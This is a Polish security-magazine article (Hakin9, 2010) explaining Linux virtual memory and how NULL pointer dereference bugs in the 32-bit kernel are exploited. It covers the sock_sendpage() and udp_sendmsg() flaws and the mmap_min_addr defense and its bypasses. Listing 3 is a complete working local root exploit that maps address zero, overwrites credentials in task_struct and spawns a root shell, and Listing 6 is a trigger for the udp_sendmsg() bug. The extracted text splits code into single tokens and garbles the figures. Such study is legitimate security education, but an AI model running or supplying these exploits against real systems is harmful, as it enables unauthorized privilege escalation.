34
HAKIN9
ATAK
1/2010
N
ull pointer dereference jest kolejnym
typem błędów, jakie może popełnić
osoba pisząca kod w języku C. Już
w 1994 roku opublikowany został exploit,
wykorzystujący taką podatność w bibliotecznej
funkcji
pt _ chmod()
. W ciągu ostatnich kilku
miesięcy, ilość znalezionych bugów dereferencji
wskaźnika znacznie się zwiększyła. Większość z
nich znajdowała się w jądrze Linuksa.
Artykuł ten ma na celu przedstawić
Czytelnikowi sposób wykorzystania błędu typu
Null Pointer Dereference w podatnym kernelu,
lecz aby w pełni zrozumieć opisywaną technikę,
musimy wiedzieć jak działa pamięć wirtualna
procesu, co się w niej znajduje, oraz jak
możemy nią manipulować.
Anatomia procesu w pamięci
Systemy uniksowe, wykorzystują płaski model
pamięci (ang. flat model). Cały trik polega na
tym, że dzięki temu zastosowaniu, możemy
odwołać się do każdego bajtu pamięci, poprzez
adres z puli od 0x00000000 do 0xffffffff.
Uwarunkowane to jest pojemnością rejestrów
jakie posiada procesor. Każdy z nich ma 32
bity -> 4 bajty (oprócz rejestrów segmentowych,
które posiadają 16 bitów), co daje nam 4 GB
(0xffffffff) pamięci, dostępnej poprzez adres.
Wszystkie uruchomione programy posiadają
własne wirtualne bloki pamięci, dzięki czemu
proces nie może wyjść poza przydzielony mu
obszar.
DAMIAN OSIENICKI
Z ARTYKUŁU
DOWIESZ SIĘ
jak działa pamięć wirtualna
procesu w systemach
linuksowych,
jak wykorzystać błąd Null
Pointer Dereference w
podatnym jądrze.
CO POWINIENEŚ
WIEDZIEĆ
wskazana jest praktyczna
znajomość języka C oraz
Asembler,
ogólna znajomość systemu
Linux.
Jeśli chcemy odwołać się pod jakiś
adres, to musi on być przedtem zamapowany.
Oznacza to tyle, że obszar pamięci, pod który
chcemy się odwołać, musi w rzeczywistości
wskazywać w konkretne miejsce pamięci
fizycznej. Mechanizm translacji adresów
wirtualnych na fizyczne nazywa się
stronicowaniem (patrz Ramka).
Jeśli proces odwoła się do regionu
pamięci, który nie jest mapowany, to jądro
wyśle do niego sygnał SIGSEGV, po czym go
unicestwi. Pamięć programu podzielona jest na
kilka segmentów. Najważniejsze z nich zostały
przedstawione na Rysunku 1.
Przykładowo, segmenty text i data oraz
dynamiczne biblioteki są tworzone dzięki
systemowej funkcji
mmap( )
. Jej działanie
opiera się na mapowaniu pewnego regionu
pamięci oraz opcjonalnie, na wypełnieniu go
zawartością pliku. Dla sterty i segmentu bss,
jądro wykorzystuje wywołanie
brk()
, a dla
stosu, swoją wewnętrzną funkcję:
setup _
arg _ pages( )
.
Lord of the ring0
Jeśli adresy wirtualne są uruchomione,
to odnoszą się nie tylko do całego
oprogramowania działającego w systemie,
ale także do jądra Linuksa. W zasadzie,
pamięć procesu jest podzielona na
dostępną dla aplikacji oraz tę dla kernela.
Kernel ma zarezerwowany 1 GB pamięci
Stopień trudności
Błędy typu
NULL Pointer
Dereference
Nieostrożne operacje na wskaźnikach są źródłem wielu błędów
które mogą posłużyć do eskalacji przywilejów lub ataków DoS.
Artykuł opisuje model zarządzania pamięcią wirtualną procesu
oraz sposób wykorzystania błędów dereferencji wskaźnika,
w systemach linuksowych, na platformie 32-bitowej.
35
HAKIN9
BŁĘDY TYPU NULL POINTER DEREFERENCE
1/2010
dla siebie oraz tak jak w przypadku
procesu, nie wykorzystuje jej całej.
W Linuksie, przestrzeń jądra jest
mapowana i dostępna pod tym samym
wirtualnym adresem we wszystkich
programach, aby cały czas być
gotowym do uchwycenia przerwań
lub wywołań systemowych. Ten 1 GB
przeznaczonego miejsca dla jądra,
jest mapowany w tablicy stron jako
specjalnie uprzywilejowany (ring 0).
Wszelkie bezpośrednie odwołania do
niego, kończą się zabiciem procesu.
Procesor w czasie wykonywania
kodu aplikacji użytkownika, pracuje
z uprawnieniami ring3 (najmniej
uprzywilejowany). Dopiero gdy proces
wykona któryś z syscalli, jego uprawnienia
zmieniają się na ring0.
Nie ma znaczenia czy jesteś
zalogowany jako root, guest, lub nobody,
ponieważ uprawnienia te, dotyczą tylko
procesora.
Studium przypadku
Wskaźniki w języku C to zmienne,
które przechowują adresy. Najczęściej
używa się ich, aby wskazywały na
struktury, ciągi znaków lub funkcje.
Ogólnie przyjęto, że jeśli w funkcji,
która miała zwrócić adres do regionu
pamięci, wystąpił błąd, to zwraca ona
NULL. Jednak nie zawsze sprawdza
się tę wartość, co skutkuje błędem
SIGSEGV, ponieważ NULL to po prostu
odwołanie do adresu 0x0. Technika
dereferencji wskaźnika opiera się na
wcześniejszym mapowaniu tego regionu
pamięci poprzez funkcję
mmap()
oraz
podstawieniu fałszywych danych, które
zostaną użyte jako prawidłowe. Jednak
funkcja
mmap()
ma pewne ograniczenia.
W systemie Linux nie można mapować
pamięci innego procesu. Tak więc błędy
tego typu w zwykłych aplikacjach nic
nam nie dadzą oprócz ataku DoS. Inną
sprawą jest znalezienie takiej podatności
w jądrze. Tak jak omawiane to było
wcześniej, kod jądra znajduje się w
każdym procesie i nie jest ograniczony
do operacji, tylko na swoim kawałku
pamięci. Więc jeśli kernel odwoła się do
danych spod adresu Null (który został
wcześniej zamapowany), to ta operacja
się powiedzie.
Rysunek 1.
Schemat segmentów w pamięci procesu
������������
�������������������������������������������
����������������
������������
�����������������������
���������������������������������������������������
�����������������
��������������������������������������
��������������������������������������������
�����������������
��������������������������������
������������������
�����������������������������
������������������
��������������������������������������������
����������
����������
����������
����������
}
}
����
����
����������
Rysunek 2.
Podział trybów pracy procesora
����������
��������
�����������
�������
��������
���������
���������
��������������
����������
�����������
�����
Listing 1.
Kod funkcji sock_sendpage()
static
ssize_t
sock_sendpage
(
struct
file
*
file
,
struct
page
*
page
,
int
offset
,
size_t
size
,
loff_t
*
ppos
,
int
more
)
{
struct
socket
*
sock
;
int
flags
;
sock
=
file
->
private_data
;
flags
= !
(
file
->
f_flags
&
O_NONBLOCK
)
?
0
:
MSG_DONTWAIT
;
if
(
more
)
flags
|=
MSG_MORE
;
return
sock
->
ops
->
sendpage
(
sock
,
page
,
offset
,
size
,
flags
);
}
ATAK
36
HAKIN9 1/2010
BŁĘDY TYPU NULL POINTER DEREFERENCE
37
HAKIN9
1/2010
sock_sendpage( )
Przykładowym błędem dereferencji
wskaźnika, jest luka znaleziona w funkcji
sock _ sendpage( )
(Listing 1), która
znajduje się we wszystkich kernelach
z serii 2.6 oraz w większości 2.4. W jej
ostatniej instrukcji, istnieje skok do funkcji,
której adres przechowuje wskaźnik do
struktury typu proto_ops. W strukturze
tej zdefiniowane są wskaźniki do funkcji
s, które wykonują różne operacje na
gnieździe (Listing 2).
Błąd polega na niedostatecznym
zainicjalizowaniu tejże struktury,
poprzez makro SOCKOPS_WRAP( ).
Jeśli utworzony socket, będzie jednym
z wymienionych rodzin protokołów:
PF_APPLETALK, PF_IPX, PF_IRDA, PF_X25,
PF_AX25, PF_BLUETOOTH, PF_IUCV, PF_
INET6, PF_PPPOX, PF_ISDN, to wskaźnik
w proto_ops do funkcji
sendpage()
, nie
zostanie przypisany, w konsekwencji
będzie równy NULL. Wcześniejsze
umieszczenie w tym miejscu instrukcji dla
procesora, spowoduje ich wykonanie z
przywilejami ring0.
Shellcode
Aby podnieść przywileje naszego
procesu, wykorzystamy standardową
metodę nadpisywania pól struktury
task_struct, które określają uid oraz gid,
z jakimi został uruchomiony program.
Do tego zadania potrzebny nam będzie
adres
task _ struct
. Po aktualizacji
naszego uid i gid, musimy powrócić do
user land bez wywołania żadnego błędu.
Rysunek 3.
Schemat stosu w trybie jądra
����
�����������
����
������������
����
�
Listing 2.
Część struktury proto_ops
struct
proto_ops
{
int
family
;
struct
module
*
owner
;
int
(
*
release
)
(
struct
socket
*
sock
);
int
(
*
bind
)
(
struct
socket
*
sock
,
struct
sockaddr
*
myaddr
,
int
sockaddr_len
);
int
(
*
connect
)
(
struct
socket
*
sock
,
struct
sockaddr
*
vaddr
,
int
sockaddr_len
,
int
flags
);
int
(
*
socketpair
)(
struct
socket
*
sock1
,
struct
socket
*
sock2
);
(
…
.)
ssize_t
(
*
sendpage
)
(
struct
socket
*
sock
,
struct
page
*
page
,
int
offset
,
size_t
size
,
int
flags
);
ssize_t
(
*
splice_read
)(
struct
socket
*
sock
,
loff_t
*
ppos
,
struct
pipe_inode_info
*
pipe
,
size_t
len
,
unsigned
int
flags
);
};
Stronicowanie (ang. pages table)
Procesory 80386 i nowsze, pracujące w trybie chronionym umożliwiają dowolne mapowanie adresów logicznych na adresy fizyczne – mechanizm
ten nazywany jest stronicowaniem (ang. paging). Adresy logiczne obejmują całą przestrzeń adresową procesora, czyli 4 GB, niezależnie od tego, ile w
rzeczywistości w komputerze zainstalowano pamięci. Zadaniem systemu operacyjnego jest odpowiednie mapowanie adresów logicznych na adresy
pamięci fizycznej, co pozwala zwykłym programom użytkowym, przez cały czas działania, odwoływać się do tych samych adresów logicznych.
Jeśli włączone jest stronicowanie, wówczas cała pamięć (4 GB) dzielona jest na bloki – strony o rozmiarach 4 kB; w procesorach Pentium i
nowszych możliwe jest także używanie stron o rozmiarach 4 MB. Gdy program odwołuje się do pamięci, podaje adres właściwej komórki pamięci.
Adres ten jest 32-bitową liczbą, która składa się z trzech części:
• indeks w katalogu stron (liczba 10-bitowa),
• indeks w tablicy stron (liczba 10-bitowa),
• przesunięcie w obrębie strony (liczba 12-bitowa).
Katalog stron zawiera wskaźniki do tablic stron, tablice stron przechowują adresy fizyczne stron (system operacyjny może zarządzać wieloma
katalogami i tablicami stron).
Zatem pierwsza część adresu wybiera z katalogu stron tablicę stron. Druga część adresu wybiera pozycję z tablicy stron, która wyznacza
fizyczny adres konkretnej strony. Przesunięcie jest adresem lokalnym w obrębie wybranej strony. Ostatecznie adres fizyczny, na który zamapowano
adres logiczny, wyznaczany jest z dwóch składników: adresu fizycznego strony i przesunięcia.
ATAK
36
HAKIN9 1/2010
BŁĘDY TYPU NULL POINTER DEREFERENCE
37
HAKIN9
1/2010
Gdybyśmy tego nie zrobili, jądro zabiłoby
nasz proces, któremu przed chwilą
podnieśliśmy uprawnienia.
Adres task_struct
W Linuksie, stos trybu jądra umieszczono
w jednym obszarze pamięci, razem ze
strukturą thread_info (pierwsze pole
tej struktury to wskaźnik do task_struct
aktualnego procesu). Obszar ten ma
zazwyczaj długość 8 kB (czasami jest
to 4 kB) oraz zawsze rozpoczyna się
adresem, który jest wielokrotnością 8 192
bajtów (2
13
) (Rysunek 2).
Dzięki takiej konstrukcji, kernel może
odwołać się do thread_info w bardzo
prosty sposób, mianowicie poprzez
maskowanie 13 najmniej znaczących
bitów (12 w przypadku 4 kB) rejestru ESP.
Po wykonaniu tej czynności, otrzymujemy
adres thread_info oraz jednocześnie,
wskaźnik do struktury task_struct.
Powrót do user land
W przypadku błędu w
sock _ sendpage( )
,
powrót do przestrzeni użytkownika
może się odbyć poprzez instrukcję ret,
ponieważ nasz shellcode wywoływany
jest w kontekście nowej funkcji. Więc
jeśli rejestry ebp i esp pozostaną
Listing 3.
Kod exploita na sock_sendpage()
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/mman.h>
#include <sys/stat.h>
static
unsigned
int
uid
,
gid
,
cs
,
ss
;
static
unsigned
long
esp
;
void
root_exec
()
{
if
(
getuid
()
!=
0
)
{
printf
(
"Shellcode fail\n"
);
exit
(
1
);
}
execl
(
"/bin/sh"
,
"sh"
,
"-i"
,
NULL
);
}
void
shellcode
()
{
int
i
,
*
p
;
unsigned
long
current
;
asm
volatile
(
"movl %%esp, %0;"
:
"=r"
(
current
)
);
current
&=
0xffffe000
;
current
= *
(
unsigned
long
*
)
current
;
p
=
(
int
*
)(
current
+
0x2bc
);
p
=
(
int
*
)
*
p
;
for
(
i
=
0
;
i
<
300
;
i
++
)
{
if
(
p
[
0
]
==
uid
&&
p
[
1
]
==
uid
&&
p
[
4
]
==
gid
&&
p
[
5
]
==
gid
)
{
p
[
0
]
=
p
[
1
]
=
0
;
p
[
4
]
=
p
[
5
]
=
0
;
break
;
}
p
++
;
}
asm
volatile
(
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: :
"r"
(
ss
),
"r"
(
esp
),
"r"
(
0
),
"r"
(
cs
),
"r"
(
root_exec
)
);
}
int
main
(
void
)
{
int
sock
,
file
;
void
*
page
;
char
template
[]
=
"/tmp/exploit.XXXXXX"
;
uid
=
getuid
();
gid
=
getgid
();
asm
volatile
(
"movl %%esp, %0\n"
:
"=r"
(
esp
)
);
asm
volatile
(
"mov %%ss, %0\n"
:
"=r"
(
ss
)
);
asm
volatile
(
"mov %%cs, %0\n"
:
"=r"
(
cs
)
);
if
((
page
=
mmap
(
NULL
,
0x1000
,
PROT_READ
|
PROT_WRITE
,
MAP_PRIVATE
|
MAP_FIXED
|
MAP_
ANONYMOUS
,
0
,
0
))
==
MAP_FAILED
)
{
perror
(
"mmap"
);
exit
(
1
);
}
*
(
char
*
)
0
=
'\xff'
;
*
(
char
*
)
1
=
'\x25'
;
*
(
unsigned
long
*
)
2
=
(
unsigned
long
)
6
;
*
(
unsigned
long
*
)
6
=
(
unsigned
long
)
shellcode
;
if
((
file
=
mkstemp
(
template
))
<
0
)
{
perror
(
"mkstemp"
);
exit
(
1
);
}
if
((
sock
=
socket
(
PF_PPPOX
,
SOCK_DGRAM
,
0
))
<
0
)
{
perror
(
"socket"
);
exit
(
1
);
}
unlink
(
template
);
ftruncate
(
file
,
PAGE_SIZE
);
sendfile
(
sock
,
file
,
NULL
,
PAGE_SIZE
);
}
ATAK
38
HAKIN9 1/2010
BŁĘDY TYPU NULL POINTER DEREFERENCE
39
HAKIN9
1/2010
niezmienione, to jądro samo powróci
do przestrzeni użytkownika. Gdy nie
znajdujemy się w takiej komfortowej
sytuacji, to musimy sami wywołać
instrukcję, która spowoduje powrót z
kernel mode do user land. W Linuksie
do dyspozycji mamy dwa wyjścia, użycie
instrukcji sysexit bądź instrukcji iret. My
wykorzystamy tę drugą. Jej działanie jest
proste: pobiera ona pięć argumentów ze
stosu:
• adres instrukcji, od której można
wznowić wykonywanie programu,
• wartość rejestru segmentowego CS,
• zachowane flagi,
• wartość rejestru ESP,
• wartość rejestru segmentowego SS,
po czym przenosi je do odpowiednich
rejestrów procesora.
W pierwszym argumencie umieścimy
adres funkcji wywołującej powłokę.
Wartości rejestrów CS, SS i ESP
pobierzemy z wcześniej utworzonych
kopii. W przypadku rejestru flag, nie
musimy ustawiać żadnej z nich, więc
przekażemy po prostu zero.
Exploit
Cały kod exploita znajduje się na Listingu 3.
Na początku inicjalizujemy wszystkie
zmienne statyczne, których będziemy
używać w shellcode. Potem wywołujemy
funkcję
mmap( )
z flagami, które
wymuszają mapowanie adresu Null
oraz informującymi, że mapownaie nie
jest oparte na żadnym pliku. Kolejne linie
kopiują poniższą instrukcję skoku (w
języku maszynowym) pod 0x0:
jmp *0x6
a następnie adres funkcji shellcode. Dalej
przebiega inicjalizacja pliku oraz gniazda,
potrzebnych do wywołania błędu. Dzięki
funkcji
sendfile( )
, jądro uruchamia
sock _ sendpage( )
, po czym skacze
pod adres Null. Umieszczone tam
instrukcje, przenoszą działanie programu
do funkcji
shellcode( )
. Jedynym jej
elementem, który nie został omówiony, jest
pętla
for( )
. Literuje ona całą strukturę
task _ struct
(Listing 4), w poszukiwaniu
uid oraz gid, z jakimi został uruchomiony
proces, po czym ustanawia jego nową
wartość. Po wyjściu z przestrzeni jądra,
uruchamiamy powłokę z prawami roota.
udp_sendmsg()
Innym ciekawym przykładem jest błąd
znaleziony w funkcji
udp _ sendmsg()
.
Polega on na tym, że pointer wskazujący
na strukturę rtable, zostaje zinicjowany
wartością Null.
Doprowadzając do odpowiednich
warunków, pointer ten zostaje przekazany
bez żadnych modyfikacji do argumentów
funkcji
ip _ append _ data()
, która
Listing 4.
Część struktury task_struct
struct
task_struct
{
volatile
long
state
;
/* -1 unrunnable, 0 runnable, >0 stopped */
void
*
stack
;
atomic_t
usage
;
unsigned
int
flags
;
/* per process flags, defined below */
unsigned
int
ptrace
;
int
lock_depth
;
/* BKL lock depth */
(
…
.)
/* process credentials */
uid_t
uid
,
euid
,
suid
,
fsuid
;
gid_t
gid
,
egid
,
sgid
,
fsgid
;
struct
group_info
*
group_info
;
kernel_cap_t
cap_effective
,
cap_inheritable
,
cap_permitted
,
cap_bset
;
struct
user_struct
*
user
;
unsigned
securebits
;
(
…
.)
};
Listing 5.
Część funkcji udp_sendmsg()
int
udp_sendmsg
(
struct
kiocb
*
iocb
,
struct
sock
*
sk
,
struct
msghdr
*
msg
,
size_t
len
){
(
…
.)
struct
rtable
*
rt
=
NULL
;
(
…
.)
if
(
up
->
pending
)
{
/*
* There are pending frames.
* The socket lock must be held while it's corked.
*/
lock_sock
(
sk
);
if
(
likely
(
up
->
pending
))
{
if
(
unlikely
(
up
->
pending
!=
AF_INET
))
{
release_sock
(
sk
);
return
-
EINVAL
;
}
goto
do_append_data
;
}
release_sock
(
sk
);
}
(
…
.)
do_append_data:
up
->
len
+=
ulen
;
err
=
ip_append_data
(
sk
,
ip_generic_getfrag
,
msg
->
msg_iov
,
ulen
,
sizeof
(
struct
udphdr
),
&
ipc
,
rt
,
corkreq
?
msg
->
msg_flags
|
MSG_MORE
:
msg
->
msg_flags
);
if
(
err
)
udp_flush_pending_frames
(
sk
);
else
if
(
!
corkreq
)
err
=
udp_push_pending_frames
(
sk
,
up
);
release_sock
(
sk
);
(
…
.)
ATAK
38
HAKIN9 1/2010
BŁĘDY TYPU NULL POINTER DEREFERENCE
39
HAKIN9
1/2010
wykonuje operacje na strukturze
przez niego wskazywanej. Posiadając
władzę nad strukturą rtable, jesteśmy w
stanie modyfikować każde jej pole, a w
konsekwencji, wykonać nasz kod na
poziomie ring0.
Najbezpieczniejszym wyjściem
jest wykorzystanie wskaźnika funkcji
(*output)(struct sk_buff*) zawartym w
unii dst_entry. Wywoływany jest on przez
funkcję
dst _ output()
, którą z kolei
wywołuje makro NF_HOOK():
#define NF_HOOK(pf, hook, skb, indev,
outdev, okfn)
(okfn)(skb)
Do uchwycenia błędu musimy stworzyć
gniazdo UDP i jego nagłówek, a następnie
wywołać funkcję
sendmsg()
dwukrotnie.
Za drugim razem funkcja
udp _
sendmsg()
znów skoczy do etykiety do_
append_data, po czym spróbuje wysłać
nasz pakiet, wykonując przy tym wcześniej
wspomniane makro NF_HOOK(). Jako
że wskaźnik output będzie wskazywać
na naszą funkcję, to zostanie ona
wykonana przez jądro. Reszta scenariusza
jest już znana. Warto samodzielnie
przeanalizować cały ten schemat w
źródłach Linuksa, gdyż umiejętność
odnalezienia się wielu różnych strukturach
oraz funkcjach na nich pracujących, jest
bardzo cenna (nieocenionym narzędziem
do tego będzie strona lxr.linux.no).
Obrona
Deweloperzy jądra w wersji 2.6.23,
wprowadzili minimalny adres, jaki może
zostać mapowany (/proc/sys/vm/mmap_
min_addr). Skutecznie uniemożliwia
to wykorzystywanie błędów typu Null
Pointer Dereference. Pierwszy bypass
został odkryty w funkcji
do _ brk()
, która
służy do alokacji miejsca na stercie.
Błąd polegał na niedostatecznym
sprawdzaniu, czy dany region pamięci
może być mapowany. Alokując duże
regiony pamięci poprzez funkcję
malloc()
, bądź nawet funkcję
mmap()
(obie korzystają z do_brk()), w końcu
udałoby się osiągnąć adres Null. Błąd
został naprawiony w wersji 2.6.24-rc5.
W czerwcu tego roku, Julien Tinnes
oraz Tavis Ormandy, zaprezentowali nową
technikę obejścia mmap_min_addr, która
wykorzystuje demon do obsługi dźwięku,
zainstalowany we wszystkich popularnych
dystrybucjach. Linux pozwala na
mapowanie adresu Null programom, które
mają ustawiony bit setuid (gdyż programy
z bitem suid posiadają CAP_SYS_RAWIO
capability co w rzeczywistości, pozwala
na mapowanie adresu Null). Aby to
wykorzystać, program taki musi jeszcze
wykonać nasz kod, bez wywoływania go
jako nowego procesu. Julien i Tavis użyli
do tego zadania pulseaudio, który ma
standardowo ustawiony bit setuid oraz
pozwala na użycie dynamicznej biblioteki,
wybranej przez użytkownika (oczywiście
pulseaudio zrzuca przedtem uprawnienia).
Ciekawą informacją jest to, że SELinux
w standardowych ustawieniach, zezwala
pulseaudio na mapowanie adresu Null,
co w połączeniu z wykonaniem kodu
na poziomie ring0, daje atakującemu
możliwość całkowitego obejścia
zabezpieczeń stosowanych przez SELinux
czy AppArmor.
W wersji 2.6.31-rc3 potraktowano
powyższy bypass mmap_min_addr
jako podatność jądra, oraz usunięto
ją, wykorzystując do tego celu łatę
zaproponowaną przez odkrywców
podatności.
Podsumowanie
Wykorzystywanie błędów, znajdujących się
w jądrze Linuksa, jest pewnego rodzaju
sztuką. Opublikowanie podatności w jądrze,
czy napisanie PoC na błąd, który uważany
był za niemożliwy do eksploitacji, łączy się
z szacunkiem i uznaniem w środowisku.
Artykuł ten omówił tylko podstawy, jakie
każda osoba interesująca się pisaniem
eksploitów powinna znać. Istnieje wiele
technik, których można użyć. Ucieczka z
więzienia chroot, zablokowanie SELinux,
czy zdalny atak na jądro, to tylko przykłady.
Widzimy, że wszystkie błędy, znajdujące
się na poziomie jądra, są bardzo groźne w
skutkach, dlatego jego ciągła aktualizacja
jest bardzo ważnym elementem w
zapewnieniu ochrony systemowi.
Damian Osienicki
Autor studiuje informatykę w Polsko – Japońskiej
Wyższej Szkole Technik Komputerowych. W wolnych
chwilach pisze programy w języku C, Asemblerze,
Pythonie oraz zgłębia działanie systemu Linux. Członek
grupy u-Crew oraz Gabspan.
Kontakt z autorem: ethoxyz@gmail.com
Listing 6.
Uchwycenie błędu w udp_sendmsg()
struct
msghdr
header
;
struct
sockaddr_in
address
;
int
sock
;
sock
=
socket
(
PF_INET
,
SOCK_DGRAM
,
0
);
if
(
sock
== -
1
)
{
printf
(
"[-] can't create socket\n"
);
exit
(
-
1
);
}
memset
(
&
header
,
0
,
sizeof
(
struct
msghdr
));
memset
(
&
address
,
0
,
sizeof
(
struct
sockaddr_in
));
address
.
sin_family
=
AF_INET
;
address
.
sin_addr
.
s_addr
=
inet_addr
(
"127.0.0.1"
);
address
.
sin_port
=
htons
(
22
);
header
.
msg_name
= &
address
;
header
.
msg_namelen
=
sizeof
(
address
);
// offset wskaźnika (*output)(struct sk_buff*)
*
(
unsigned
long
*
)(
0x74
)
=
(
unsigned
long
)
shellc0de
;
sendmsg
(
sock
,
&
header
,
MSG_MORE
|
MSG_PROXY
);
sendmsg
(
sock
,
&
header
,
0
);
close
(
sock
);
W Sieci
• wikipedia.org (http://pl.wikipedia.org/wiki/Stronicowanie_pamięci),
• blog.cr0.org (http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html).